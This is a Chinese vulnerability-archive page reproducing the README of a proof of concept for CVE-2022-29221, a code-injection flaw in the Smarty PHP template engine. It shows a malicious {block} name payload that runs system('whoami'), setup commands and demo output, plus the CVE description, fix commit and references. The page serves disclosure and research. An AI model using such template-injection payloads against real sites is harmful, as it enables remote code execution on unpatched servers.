目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-29221 PoC — Smarty 代码注入漏洞

来源
关联漏洞
标题: Smarty 代码注入漏洞 (CVE-2022-29221)
Description:Smarty是基于PHP的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。 Smarty 3.1.45之前的3.1.x版本以及4.1.1之前的4.1.x版本存在代码注入漏洞,远程攻击者利用该漏洞可以发送专门编写的请求,并在目标系统上执行任意PHP代码。
Description
CVE-2022-29221 Proof of Concept Code - Smarty RCE
介绍
# CVE-2022-29221-PoC
This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221.

Injection Example Code:
```
{block name="poc*/system('whoami');/*"}ABC{/block}
```
See: https://github.com/sbani/CVE-2022-29221-PoC/blob/main/template/index.tpl

After running the code, Smarty will add a new php file in the `./compile/` folder. You can see the resulting (and vulnerable) code there.

## Run test

Install:
```
git clone git@github.com:sbani/CVE-2022-29221-PoC.git
cd CVE-2022-29221-PoC
composer install
```

Run:
```
❯ whoami
sbani
❯ php index.php
sbani
sbani
ABC
```

## CVE details
> Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.

Fix commit is here:
- https://github.com/smarty-php/smarty/commit/64ad6442ca1da31cefdab5c9874262b702cccddd


References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29221
- https://github.com/smarty-php/smarty/security/advisories/GHSA-634x-pc3q-cf4c
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →